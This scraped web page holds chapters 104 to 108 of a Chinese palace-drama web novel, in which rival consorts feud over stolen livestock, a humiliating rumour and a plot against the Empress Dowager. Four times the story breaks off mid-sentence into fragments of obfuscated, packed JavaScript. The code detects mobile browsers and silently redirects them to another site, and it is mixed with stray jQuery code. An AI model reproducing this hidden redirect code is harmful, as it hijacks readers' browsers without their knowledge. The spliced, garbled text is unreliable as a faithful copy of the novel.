一众妃嫔们也都笑着捧场。 只有清妃这会儿一副神游天外的模样,一曲歌舞未尽,她忽然就站了起来:“皇上,太后娘娘,臣妾身子不适,想出去透透气。” 一听到她的声音,太后又是冷眼一扫,全然不愿意理会的模样,贺江灈摆了摆手,示意她退下。 从曲悦阁里出来,清妃的脸色依旧没有缓和,还是满春先忍不住问道:“娘娘,今日到底怎么回事?太后为何说您不够体面?” 这话问出口的时候,满春都觉得有些离谱。 她们娘娘最是注重规矩,尤其是这段时日以来,甚至都没有出过玉粹宫,太后到底从哪里得出的娘娘不够体面? 若真说哪个不体面,第一个也该是冷宫里的那位,再然后就是那个姜妃才对。 清妃面色不虞,话里带了些许的嘲讽:“我哪里知道,太后娘娘想要发难,总能找到理由的,这不重要。” 她好像真的不在意这件事,目光一直四处张望着,就像是在寻找什么一样。 这些年来,太后看她不顺眼,明里暗里发难的次数多了,她早就习惯了。 只是今日… 那只鹅进了殿之后,事情完全不应该这么发展才对。 冷宫里的那个不在场,就算姜妃再怎么舌绽莲花,陛下也不该包庇姜妃才对,怎么就… 甚至姜妃筹办的宫宴出了这么大的纰漏,不管是陛下也好,太后也好,竟然都没有因此责罚姜妃,她总觉得这件事很不对劲。 “娘娘,您在找什么?”满春也察觉到了清妃的异样,她询问道。 清妃道:“你有没有看到姜妃的那个宫女往哪儿去了?我总觉得那宫女有些古怪。” 她只需回想一下,好似从始至终她都没有看到姜妃身边那个宫女的脸。 而且往日里太后若想处置一个宫女,陛下是从来不会说什么的,今日竟然敢在太后之前先开了口,这些事一桩桩一件件的放在一起,总让清妃觉得很是怪异。 满春摇摇头:“娘娘是觉得那个宫女眼生吗?不过话又说回来,自从之前咱们安在姜妃身边的静云被姜妃除掉后,就没见姜妃再有过什么贴身宫女,她那人用人随性,说不定就是在幽兰馆随意指了个带出来了呢?” 这种事倒是姜妃能做得出来的。 可清妃还是觉得不对,她道:“我总觉得没有那么简单,走,咱们去冷宫看看姐姐。” 姜妃随便带个人出来说得过去,但陛下却不可能关注一个姜妃随便带出来的人。 今日陛下对姜妃的包庇太明显了些,如果自己没猜错的话… 冷宫里。 晋明鸢回来的时候,芙蕖早就回来了。 一看到她,芙蕖就是一脸担忧:“晋娘娘,您到底跑到哪里去了?可让奴婢们担心死了,您…” “担心我还是担心掉脑袋啊?”晋明鸢随口敷衍了一句。 芙蕖尴尬的笑了笑:“当然是担心您呀。” 担心她在外面胡作非为害她们丢了脑袋。 当然后半句话,芙蕖也不敢在晋明鸢面前说,见晋明鸢确实没事,她才转移话题道:“晋娘娘,奴婢给您拿衣服,先去把衣裳换了吧。” 晋明鸢没有应声,她先去看了一眼贺云瑄,见贺云瑄还是一如往常那般同姜妃丢下的那堆账本做斗争,一切都与以往一般无二,没什么异样,她才放下了心。 衣服还没换完,就听到外面传来了女子的声音:“晋姐姐,晋姐姐在吗?” 第104章 简直倒反天罡 还没有看到人,仅仅是听声音,晋明鸢就先皱了皱眉。 这清妃不好好在宴席上享受,跑到她这里来做什么? 难道她发现自己在御花园造她谣的事了? 若是真论起来的话,今日清妃被降了位分,好像还真有她的一份功劳呢,这清妃不会是来秋后算账的吧? 晋明鸢一时没有说话,手指动得飞快,三两下就把自己身上的衣服整理了妥当,又一脚将那身换下来的宫女装踹到了床底下。 想要兴师问罪?没门! 不管怎么问,她今日都没出过冷宫就是了。 “晋姐姐,你在不在?”晋明鸢方才收拾妥当,外面又传来了清妃的催促声,还有芙蕖的阻拦声。 她不再耽搁,推门走了出来,正对上清妃那双好像含着些许担忧的眼睛。 才打了个照面,清妃就迎了上来,挽住了晋明鸢的胳膊:“晋姐姐,你方才在做什么呀?我叫了你这么多声,怎么也没听你回应?” 晋明鸢抽回了胳膊,视线瞥过清妃那一张柔和担忧都恰到好处的脸,她只觉得有些虚伪。 明明方才在曲悦阁里,抓了自己的鹅放到大殿上想扰乱宫宴的就是她,现在竟然还对自己做出这般关心的模样,她倒是一点也不害臊,更不心虚。 “你以为你是谁呀,你叫我我就得答应吗?这次又有什么事?”晋明鸢没好气的道。 从曲悦阁里出来,知道这清妃近来定是没法再风光起来,晋明鸢也懒得再与她客套。 说话间,她有些警惕的看了眼自己院子里的鹅和鸡,心里不免担忧,这人又偷偷使坏把她的宝贝都偷走。 只是这一扫,她的瞳孔就猛然收缩。 刚才跑出去的鹅呀鸡呀,除了被丢到曲悦阁的那只以外,其他的都回来了,想来是那位陛下的功劳,可是她的猪却不是不见踪影! 这不应该呀,那猪又没有大鹅灵活,那陛下竟然能把鹅都送回来,为什么她的猪没回来,难道… 晋明鸢目光一凛,当即就怀疑地看向了清妃。 清妃并不知晋明鸢此刻心中所想,她这会儿全然是一脸受伤的模样:“晋姐姐,是阿吟做错了什么吗?你最近为什么对阿吟如此冷漠? 不请阿吟进去坐坐吗?” “我这陋室怕是不好接待清…贵妃大驾,您若真的有什么事,不如直说吧。”晋明鸢道,提到清妃如今的位分,她险些说漏了嘴,电光火石间想到如今清妃被降位只是皇帝口谕,应该还没有传开,她慌忙之下改了口。 只是心里却忍不住感慨,这个清妃不知是心态太好了,还是脑袋记不住事,明明自己从来就没有给过她多少好脸色,她竟然还能一次次的在自己面前摆出这等可楚楚可怜的姿态,就好像觉得她会怜惜她一样。 难道她失忆之前,就是吃这套吗? 晋明鸢忽然就有些怀疑曾经的自己。 清妃脸色只僵硬了一瞬,又要伸手挽晋明鸢的胳膊:“姐姐怎么会这样想阿吟?阿吟怎么会嫌弃姐姐的地方呢?是不是有人与姐姐说了什么,才让姐姐疏远了阿吟?” “你误会了,我只是不记得你,不存在什么疏远,你到底有什么事?”晋明鸢问。 她这次并没有阻挡清妃的靠近,脑袋也朝着清妃的方向靠了靠,不动声色地在清妃身上嗅了嗅,冲入鼻腔的是一股浓烈的脂粉味儿,呛得她咳嗽了一声,再仔细分辨,也没有闻到她的小猪崽味。 难道是自己想多了,自己的小猪崽不是被清妃藏起来了? 也不对,这人身居高位,就算藏了她的猪,也不可能事必躬亲,身上没有沾上味道也是应该的。 这件事不能这么快就下定论。 没找到自己想要的答案,晋明鸢拧着眉又后退了一步,和清妃拉开了一些距离。 她的小动作不偏不倚的全落到了清妃的眼睛里,清妃有些疑惑地低头在自己身上嗅了嗅,她仔细分辨着,除了熏香味,就是脂粉味儿了,并没有什么古怪的味道呀,晋明鸢为什么忽然退开? 难不成她身上还真有什么不好的味道?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15530672|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 不知怎么,清妃一下子就想到了今日曲悦阁里太后训斥她的那些话。 本来是完全没有放在心上的,但这会她有点不确定… 半晌都没有等到清妃的回应,晋明鸢倒是有些不耐烦了,她又催促一句:“你如果没事的话就走吧,我累了,没心思与你在这里干瞪眼。” 清妃这时才如梦初醒,她道:“姐姐,虽然你不记得我了,可我这心里对姐姐的关心却一点也没少。 我不知姜妃与姐姐说了什么,才让姐姐对她这般信任,只是姐姐你还不知道吧,她表面上支持你养鹅,背地里却将此事捅到了陛下和太后面前,如今陛下和太后都因为此事恼着呢,妹妹实在担心姐姐,赶紧过来给姐姐通风报信,姐姐不如赶紧想想这鹅怎么处理吧。” 清妃说的一本正经,一双眼睛始终盯在晋明鸢身上,就像是要在晋明鸢的反应里寻到什么一样。 “清贵妃,你别太过分了,你…”乍一听到她挑拨离间的话,晋明鸢当即就要回怼,余光一扫,正对上清妃有些怀疑的视线,她话锋一转,“你口口声声说为我好,碰上这样的事就不知道为我辩护吗? 你既然知道姜妃告我的状,那就说明当时你是在场的,那你为什么不为我辩解呢?” 她一连问了好几个问题,只把清妃问的哑口无言,连表情都僵在了脸上。 晋明鸢又说:“你总说我们是好姐妹,你担心我为我好,可却连为我辩护都不敢,你让我怎么相信你? 算了,你走吧,我也不用你假惺惺跟我通风报信。” 再不留一点余地,晋明鸢伸手就来推搡清妃。 “我…晋姐姐,不是,我…” 清妃张着嘴,手指指自己又指指晋明鸢,明明早就打好腹稿,还有许的话要说,但此刻却好半天都说不出一句完整的话来。 她在搞什么呀?这种时候她不应该恼怒生气咒骂姜妃吗?为什么能如此道反天罡,把责任扣到她头上? 那自己刚才说的话,她到底听进去了没有? 第105章 贵妃娘娘都说好 “你什么你,你该不会以为晋姐姐要骂我吧?”接上清妃话的却不是晋明鸢,而是忽然到来的姜妃。 听到她的声音,清妃就已经是一脸的酱色,当即就反问:“你怎么回来了?” “瞧清妃这话说的,我若是不回来,又怎么知道你在这里颠倒黑白? 那些鹅今日陛下可都承认了,是他让晋姐姐帮忙养的,现在你在这里诱导晋姐姐把鹅处理掉,是想让陛下让太后因此开罪晋姐姐吗?”姜妃冷笑一声,已经抬脚走到了晋明鸢的身边。 晋明鸢一开始没有想那么多,她只是听不惯清妃那些挑拨离间的话。 现在经过姜妃这么一分析,她后知后觉的反应过来这清妃简直居心叵测,忍无可忍之下,她顺手拿起了那被自己用惯了的烧火棍就冲着清妃道:“瞧你长得人模狗样的,这心倒是比我这烧火棍上的灰刮下来还黑。 瞧你这表里不一的模样,也不知骗了多少人,今日我既是知道了,便大发慈悲帮你改造一下。” “你要做什么?”满春一听到晋明鸢的话,立刻有些慌乱的质问一句,她张开了双臂,母鸡护小鸡一般挡在了清妃身前。 晋明鸢直接一把拽开了她:“居然是帮你家主子好好的装饰一下,免得她总拿这表里不一的姿态骗人,清妹妹是吧?你说这灰与你心的颜色是不是很像?” 一边说着,她手从烧火棍上划过,一下子就沾了满手心的灰,抬手就朝着清妃的脸上挥去。 看到她这架势,清妃哪里还不知她要做什么,手忙脚乱的后退几步,满春也道:“娘娘,咱们还是快走吧。” 瞧她那手心比锅底的灰还要黑很多,万一真的弄到了娘娘身上,被旁人看了去… 满春思绪还没想完,姜妃就在旁边讥笑道:“可不是得快点走吗?否则万一让太后娘娘看到了,又或者传到太后娘娘耳朵里,更要说你们娘娘不够体面了。 清妃姐姐,妹妹还真是佩服你,今日在宫宴上出了那样大的丑,竟然还有心思四处招摇啊? 不过话又说回来,那等不体面的事你都能做得出来,足以说明脸皮之厚了,现在招摇也说的过去呢。” 清妃本来只是警惕的冲着晋明鸢,但现在听到姜妃明显话里有话的意思,她忽然道:“什么不体面,姜妃,你是不是知道些什么?” 本来她根本就没有把太后的那些话放在心上,只觉得是对方故意刁难于她,可现在瞧着这姜妃明显看好戏的姿态,清妃有些不确定了。 姜妃道:“你不如去御花园看看呢,说不定就能找到答案。” “娘娘…”满春意识到事情有些不对劲,又轻声唤了清妃一句。 清妃抬头看了一眼,一边是虎视眈眈要往她脸上抹锅灰的晋明鸢,一边又是嘲讽意味十足的姜妃,这鬼地方她确实待不下去了。 只是临走的时候,她还是又冲着晋明鸢道:“晋姐姐,妹妹从来没有害过你的意思,你现在失忆了,被有心人哄骗也无可厚非,我不怪你,妹妹等着你恢复记忆的那一天,到时候我们一定能回到以前那般的。” 声音说的倒是殷切,一点也没耽误她脚下抹油跑得飞快。 一直到从冷宫里出来有一段距离,清妃才停住脚步喘了口气,满春提醒道:“娘娘,我们现在要去哪里?听那姜妃的意思,御花园好像有什么猫腻,我们要不要去看看?” 清妃有些不情愿,但想到姜妃那幅小人得志的模样,她到底还是觉得应该去弄清楚这件事,于是点了点头:“本宫倒要去看看,她姜青雉卖什么关子。” 她今日根本就没有在御花园那里停留过,怎么就招惹了太后不喜了? 御花园里如往常一样。 花香馥郁,百芳争艳。 曲悦阁的宴席还没有散,各宫的娘娘们大约也都在宴上,并没有什么人来赏花散步,整个园子都很是清静… 不对! 没有走几步,清妃忽然视线一顿,她看到有一颗树下,净是聚了一群宫女,这些人凑在一起窃窃私语,也不知道在议论些什么,但脸上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15530673|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表情或震惊,或讶异,或好奇… 总之就是很奇怪。 看到这一幕,清妃心里也生起了怀疑,她用眼神示意满春噤声,轻手轻脚的朝着那群聚拢的宫女走去。 “登月姐姐,你说的是真的,贵妃娘娘出恭不用纸用这叶子?” “那能有假?我今日可是听玉粹宫的宫女亲口说的,而且姜妃都承认了的,这种事铁定是真的。” “姜妃娘娘都承认了,那确实比较可信了,只是这树叶看来看去也没什么特殊之处呀,真的好用吗?” “哎呀,好用不好用的试试不就知道了,反正现在已是秋天,这叶子早晚都会落的,倒不如咱们试试呢,贵妃娘娘都用过,说不定就比草纸好用呢?” “你们在说什么?”将一群宫女的议论声一句不落地听在耳中,清妃的脸色已经不单单是用阴沉可以形容了。 满春更是忍无可忍的质问一声,气得连呼吸都有些不稳。 一众宫女听到呵斥,慌乱的回头就看到了脸色黑沉如锅底的清妃。 那名被唤作登月的宫女第一个跪了下来:“贵妃娘娘恕罪,奴婢知错了,奴婢不该觊觎贵妃娘娘的东西。” “混账东西,你知不知道你在说什么?什么就娘娘的东西了?这等烂叶子怎么就与娘娘扯上关系了?”满春气愈发不顺了些,劈头盖脸的抛下一堆质问。 “这…奴婢…”登月低着头,半天都不敢回答。 还是清妃深吸了一口气,强压下心底的怒火问道:“你们刚才说的那些话从何处听来的?谁告诉你们本宫用这树叶…” 后面几个字她硬是咬碎了一口银牙都说不出口,于是就话锋一转道:“除去这些以外,你们还知道些什么?可知道到底是谁在暗地里编排本宫?” 一番问题问完,她又深吸了一口气,依旧觉得眼前一阵黑暗。 现在她哪里还不知道太后为什么生气? 想想太后在宫宴上说她不体面,八成就是听到了这些乱七八糟的谣言! 第106章 不如问问安妃 一群宫女都低着头,一时没有人敢接清妃的话。 清妃又说:“你们尽管如实说来,本宫恕你们无罪就是。” 一句话落下,清妃脑海里先浮现出来的是今日姜妃那张带着讥讽的脸,答案在心头已经昭然若揭。 但她依旧憋着一口气,她倒要看看那姜妃在背后到底是怎么败坏她的。 小宫女们互相推搡一番,还是登月硬着头皮道:“今日奴婢们奉陛下的命令在御花园抓鹅的时候,遇到了一个行色匆匆的宫女,李嬷嬷本来想让她帮忙,结果她却说…却说…” “却说什么?”满春问。 “却说贵妃娘娘在前面出恭,她急着给贵妃娘娘送纸!”登月狠狠心,一口气全倒了出来。 伴随着话音落地,周围陷入的是死一般的沉寂。 清妃甚至觉得自己的耳边都出现了嗡鸣声,让她的精神都有些恍惚。 而至于登月那边,更是已经不敢再看清妃的脸色了,她这会儿只觉得事情已经到了这一步,伸头一刀,缩头也是一刀,于是干脆一鼓作气:“李嬷嬷觉得她言辞闪烁就拦住了她。 然后她告诉李嬷嬷,说贵妃喜欢用这种叶子,她方才一直在静心替贵妃挑选。 李嬷嬷怕耽误贵妃的事,然后就放过了她,后来…后来… 姜妃娘娘也来了,让我们替贵妃保密。 贵妃娘娘明鉴,奴婢们真的没有往外说过,奴婢们只是…只是…心生好奇,所以才… 奴婢保证以后,再也不敢打这树叶的主意了。 还请贵妃娘娘饶过奴婢这次。” 登月的脑袋一下下的磕在地面上,发出一声声的闷响,但她却像感觉不到疼痛一般,只是一味的求饶不停。 清妃这会儿连眼前都发黑,她看东西甚至都出了重影。 什么叫不打树叶的主意?难道她们还真以为自己喜欢用这种破烂叶子? 真像一点点的在眼前摊开,她的呼吸却久久都没有办法平静,手搭在满春的肩上,才勉强没跌倒过去。 满春这会儿也控制不住的怒道:“娘娘,那姜妃简直太过分了,她怎么能这般污您名声?她…” 满春的话还没有说完,就听清妃用近乎发抖的声音怒道:“姜青雉!趁姐姐失忆趁虚而入,现在竟然又如此算计本宫,本宫饶不了她!” 清妃平日里表现的最受温和,鲜少流露出这般歇斯底里的模样。 登月等一众宫女见状,更是慌得不得了,连大气都不敢出一下。 即便是满春,也很少见清妃如此控制不住脾气的时候,现下看着登月等人,她提醒道:“娘娘,这些人要怎么处理?” 不管如何,他们毕竟听到了娘娘方才的话,若是再传到姜妃耳朵里,总会带来不必要的麻烦。 清妃缓缓地回过神来,她又看了一眼那群颤巍巍的宫女,手在胸口处平复许久,才又端起了她一贯和善的姿态:“什么怎么办?她们也只是受姜妃的蒙蔽,若怪也该怪姜妃,本宫还不至于不分青红皂白迁怒于人,行了,让她们退下吧。” “听到没有?也就是娘娘心善,才不与你们计较,以后都长点心,莫要胡乱听信旁人的谣言,免得惹了祸事还不自知,都退下吧。”满春道。 登月等人纷纷道谢离开。 眼睁睁的看着所有人都退了下去,清妃又是忍不住咬牙怒道:“该死的姜青雉,本宫绝不能让她再舒心下去了。” 而此时冷宫里,晋明鸢刚洗掉手上的锅灰,就听到姜妃重重的打了个喷嚏,她有些担忧的道:“姜妹妹,你没事吧?是不是这两天太劳累了,染了风寒?还是赶紧请郎中看看的好,以后我与云瑄还指望姜妹妹呢,你可不能病倒。” 前半句话,姜妃还有些感动的,直到听到晋明鸢后半句,她嘴角略微僵了一下:“晋姐姐,你真没必要把话说的那么直白的,真挺伤人的。” “实话实说嘛,你知道的,太后那老妖婆如今盯着我,陛下那么看重你, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15531982|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肯定得派人来保护你的,你可得与我们日日在一起才行。”晋明鸢有些心有余悸的说。 陛下看中她个鬼呀。 姜妃听到这话就想笑,晋姐姐还真是不让她失望,永远都在状况之外。 不过看到晋明鸢担忧的模样,她耸耸肩坦然道:“放心好了晋姐姐,我身体好着呢,根本不可能生病。 至于打喷嚏,八成是那清妃在骂我,不过无所谓,反正她现在肯定更难受。” 晋明鸢有些无奈:“那件事毕竟是咱们…你为何还要引她去御花园呢?就不怕她因此记恨上你吗?” “她最好把小心思都使在我身上。”姜妃说,随即她又不屑的自言自语,“就她那点手段,我还不放在心上呢,啧,也不知讨了多少年才换来的这么个贵妃之位,现在丢了,怕是得难受的她十天半个月也出不来门。” 晋明鸢一早就知道,这位姜妃好像看后宫里的所有嫔妃都不顺眼,其中清妃尤甚。 不过这些都不太重要,现在最重要的还是太后那里,想到这一出,晋明鸢道:“姜妹妹,我仔细分辨过了,御花园里的那人,根本就没有出现在宫宴上,你要不要想想今日什么人没来赴宴?” 说到这儿,晋明鸢自己都觉得有些古怪。 那个人的气势明显可以感觉到身份地位不一般,他甚至也为宫宴进了宫,最后没来赴宴,难道不怕引人怀疑? 姜妃稍作沉思,脑海里仿佛浮现出了一个名字,但很快又被她压了下去,她总觉得不太可能是那个人。 “晋姐姐,你再仔细想想,是不是你遗漏了什么?那个人可有什么特征?”姜妃问。 晋明鸢道:“安妃,安妃好像和他很熟,我之所以能脱身,就是因为安妃把他带走了,要不我们去问问安妃?” 她也有些不确定。 那个安妃是太后的侄女,可是却好像与太后并非一条心,否则方才根本不可能帮她遮掩,如果她问的话,安妃真的会说吗? 第107章 安妃,你想做什么 晋明鸢和姜妃一直没有商量明白,倒是入夜的时候,安妃自己来了冷宫。 见到她的时候,不管晋明鸢也好,又或者姜妃也好,神色都有些许的讶异。 只有安妃自己,面色平静一场,打了个招呼之后,她就道:“我以为透了那么大的消息,晋娘娘会来找我的,可等到现在也不见您过来,就只能我自己来了。” “什么消息?你在打什么哑谜?”姜妃问。 安妃自己找了个地方坐了下来,把安妃的讶异看在眼里,她又看了晋明鸢一眼,脸上多了些许的无奈。 刚才她还好奇自己左等右等等不到人,以姜妃那风风火火的性子,若是知道些许猫腻,早该跑来找她质问了的。 原来是自己透的消息晋明鸢根本就没听到,又或者没记住。 “今日御花园,假山旁,那个人的身份,姜妹妹现在应该在查吧?”安妃直接挑破了,“我有提醒晋姐姐的,现在看来她应当是没注意。 不过没关系,现在没有外人,我可以好好与姜妹妹聊聊这件事。” “我听不懂你在说什么。”姜妃没有马上问那个人是谁,脸上的神情也有些警惕,“晋姐姐今日一直在冷宫从未出去过,什么就御花园假山旁了? 安妃,栽赃陷害也该有个度才对,不是你这般信口开河。” 安妃毕竟是太后的侄女,她现在自己找上门来,姜妃没办法不怀疑是不是太后让她过来试探什么。 “姜姐姐一直想找的人,就是定明侯郑江。”安妃并不理姜妃的质疑,她不紧不慢的道出了一个名讳,又看向晋明鸢,“刚才我叫他郑伯伯,现在提起来,晋姐姐可还有印象?” 晋明鸢当时慌的厉害,只一心想着要怎么逃走,确实没怎么听进去安妃说的话,现在被对方一提醒,她后知后觉的反应过来好像是有这么一回事。 “似乎是这样的。”晋明鸢有些犹豫的点了下头。 她这么一个动作,就意味着在告诉安妃,今日在御花园里的人就是她。 姜妃脸上的紧张之色更甚,现下晋明鸢已经认了下来,她也没有再这件事上多绕,直接就切入了正题:“如果我没有记错的话,你与定明侯府之前有些渊源,后来因为你入了宫,和他们闹得很不好看,现在你说定明侯和太后还有牵扯,甚至相交甚密,你要本宫怎么相信? 安妃,你到底想做什么?” 脸上露出了些许苦涩,安妃说:“既然姜妹妹知道这些,就该知道我入宫并非本意。 至于你口中的不好看不愉快,不过就是假象罢了,我与郑郎都不过是他们这场权力倾轧下的牺牲品,那些都是这给陛下看的。 明明我们两人从小一起长大,甚至连婚约都是两家心照不宣的,可就因为姑母的一句话,我就要扮上贪慕虚荣的样子弃掉婚约进宫,郑郎就要远赴边关,成为他们的棋子,眼线,换做是你,你会甘心吗?你会心甘情愿的困在牢笼里吗?” “故事谁都会编,我知道你是什么样的人,你最爱伪装,最会演戏,城府深沉,现在上下嘴皮一碰,就觉得我应该相信你吗? 当年你入宫之后,郑家与你安家闹得很不好,据我所知,你安家的几个铺子因为郑家关门转卖,就连你的父亲,也因为郑家降职,比起你口中定明侯与太后勾结到一起,我更愿意相信是你想祸水东引,除掉定明侯为你安家报仇。”姜妃说。 安妃也不恼,她轻轻一笑:“我知道姜妹妹不信我,可我这次却是带着诚意来的,我可以让姜妹妹亲眼见到定明侯在太后身边,就拿这个来作为我诚心合作的诚意如何呢?” “你为什么要背叛你的姑母?”姜妃又问。 “没有什么背叛,从始至终我与她就不是一路,我只是暂时站在她身边,有了更好的路就会与她分道扬镳。 自古以来,反臣叛军都没有什么好下场,我很清楚宴平王的能力,所以更不能一条路走到黑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15531983|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜妹妹与其在这里刨根问底,不如先听听我的诚意呢?”安妃说。 姜妃没有接话,只是用一双怀疑的目光看着安妃。 安妃又说:“每个月二十号,郑江都会来与姑母议事,自从前段时间差点被晋姐姐撞破之后,他们现在讨论重要的事都是在福寿宫,如果…” “你既然连时间地点都知道的如此清楚,就应该向陛下投诚才是,如果你所言句句属实,陛下不可能亏待于你,你没必要跑到这里来与我合作。”姜妃打断了她,脸上的探究之色更是明显。 安妃的嘴角又是泛起了苦涩:“我当然可以直接告诉陛下,可姑母狡猾,过分防着陛下,盯着陛下,告知陛下,未必能抓现行,而且…” 她顿了顿,脸上闪过些许的忧愁,却没有把话说下去。 她的郑郎之前就定明侯与太后做了些手脚,去了北疆大营,北疆的守将正是晋明鸢的父亲,那晋老将军可是铁面无私,一心为国。 她希望通过陛下在太后手里摆脱出来,但也不敢将一切告知陛下,万一陛下真的顺藤摸瓜查到了所有,流着定明侯府血液的郑郎必定死路一条。 她得为自己,得为郑郎博一条生路。 只有把自己的作用发挥到最大化,她才能有话语权,才能与陛下讲条件,所以这件事比起让陛下来查,她更倾向于由自己捅到陛下面前。 “照你这么说,陛下都不能抓她现行我们又怎么可以?安妃,我真是好奇,你到底在想什么?”姜妃说。 安妃说:“我只是觉得,后宫不能干政,我若贸然去寻陛下,说不定还会打草惊蛇,倒不如先留下些实质性的把柄再去寻陛下,姜妹妹,你若是实在不相信,不如就将这件事完全交给我来做,等到我拿到了筹码,咱们再来谈合作的事。” 她与姜妃说话,余光却瞥向了晋明鸢。 若想保住郑郎性命,怕是还得有晋老将军的担保,更有用。 第108章 为了大义 “你想怎么做?”姜妃的声音都有些古怪。 面前的安妃不再像她印象中的那样,始终一脸风轻云淡,像是对什么都不关心,她这次将野心,将执念都写在了脸上,反倒是让姜妃觉得有些不安。 安妃说:“我知道姜妹妹或许还不相信,与姑母密谋的人就是定明侯,我要做的第一件事就是向姜妹妹证明。 而且我知道姑母一直想要对晋娘娘动手,只要我这件事做成了,姑母便会安定一段时日,也能保晋娘娘一段时间无忧,只是我希望姜妹妹能借给我一个人。” “你想要什么人?”姜妃问。 她前面那几句话姜妃神色还很平淡,但听到她说可以保晋明鸢无忧的时候,姜妃目光都认真了几分,她又补充:“我现在能调用的暗卫不多,不过我姜家的暗卫个个都是好手,我…” “不用暗卫,之前姜妹妹一口就可以咬定清妃在各宫安插人手,所以姜妹妹在清妃那里也有自己的眼线是吗?我想要借这个人用一用。”安妃说。 “清妃?” “姜妹妹不喜欢她,我在顺水推舟给姜妹妹一个人情,让她来做这个恶人,姜妹妹觉得可好?”安妃笑道。 她眉眼里尽是骄矜自信,完全就是一副运筹帷幄的姿态。 任凭姜妃再怎么思来想去,这会儿竟然完全不知道安妃想要做什么。 这种未知的感觉让她很不习惯,她干脆开门见山的问:“既然安姐姐要问我借人,总要把你的计划告诉我。” 她难得的对着安妃称了一句姐姐。 不再是以前那副针锋相对的姿态,也算是拿出了几分合作的态度。 安妃笑道:“这还得多亏了晋姐姐呢,我可是还有一个秘密,今日早上,我看到清妃的人偷偷将晋姐姐养的小猪赶进了玉粹宫,她们肯定想要用这猪做什么文章,不如我们给她这个机会如何?” “什么?我的猪真是被她偷的?”刚才安飞与姜妃聊的一直都是朝中局势的事,晋明鸢不知道什么定明猴,也不知道什么郑郎,她完全插不上口,直到这会儿听到安妃提起自己的猪,她才震惊出声。 她果然没有怀疑错人,那清妃竟然偷了她的鹅还不够,竟然还把她的猪也藏了起来! 这可是她留着过冬的口粮,那人金尊玉贵,不愁吃喝,竟然还惦记她这么点儿口粮,实在是过分歹毒了。 安妃点了点头:“虽然这事儿确实有些离谱,但我也确实亲眼看到她的人把猪赶出来了玉粹宫。” “你想要用猪做文章?”姜妃问。 安妃道:“是呀,听说姜妹妹今日又惹恼了清妃,那猪可是通过你的手弄进宫里的,她现在藏着那猪不放,要么想对你动手,要么就是想对晋娘娘动手,但不管哪一种,总之不是什么好事。 所以不如我们直接成全她,找人帮她出谋划策,哄她把饿疯了的猪丢到福寿宫嫁祸于你如何? 这东西本来就动静大,姑母又念旧,福寿宫里都是跟了她许久的老嬷嬷,这些人手脚可不如年轻人利落,一时半会儿想把猪收拾了也不容易。 到时我们故意把动静闹大,把人都引去福寿宫,不怕抓不到什么,你觉得呢?” 安妃说的头头是道,姜妃看着她那胸有成竹的模样,噗嗤一声笑出了声,她又习惯性的嘲讽:“还以为你多么高雅闲淡,原来也会使这些下三滥的手段,不过你还是不够狠,我觉得为了以防万一,还得再加点东西才是。” 话说着,她眯了眯眼睛,从怀里拿出了一个荷包。 哪怕隔着有一段距离,都能闻到荷包里散发出来的阵阵异香。 看到这么个东西,安妃拧了拧眉,有些头皮发麻的感觉。 姜妃的母亲,可不是什么世家贵女,她是之前姜老将军在外征战时,邂逅了一个苗疆女子生下的,那女人生性自由,在姜妃及笄之后,就直接抛夫弃女,到处游历了。 但是听闻她走之前给姜妃留下了许多毒粉,用来防身。 之前在姜妃刚搬来幽兰馆的时候,她身边的静云就偷过她那引蛇的粉末,现在就算不知她手里拿着的东西有什么用,但怕是比起那玩意儿来,也不遑多让了。 “我只是随便给姜妹妹出个主意,若是姜妹妹有更好的想法,那自然是好的。”安妃说。 她也没什么要阻拦的意思,那玩意儿要么用在太后身上,要么用在定明侯身上,不管哪个,在她眼里都是咎由自取。 两个人动作很迅速,很快就敲定了一切,又相视一笑,明明前段时间还针锋相对,但此刻却好像已经化干戈为玉帛。 只有晋明鸢还是一脸状况之外:“不是,你们两个就没人为我的猪考虑吗?你们利用完了之后,我的猪怎么办?还能不能回来了?” 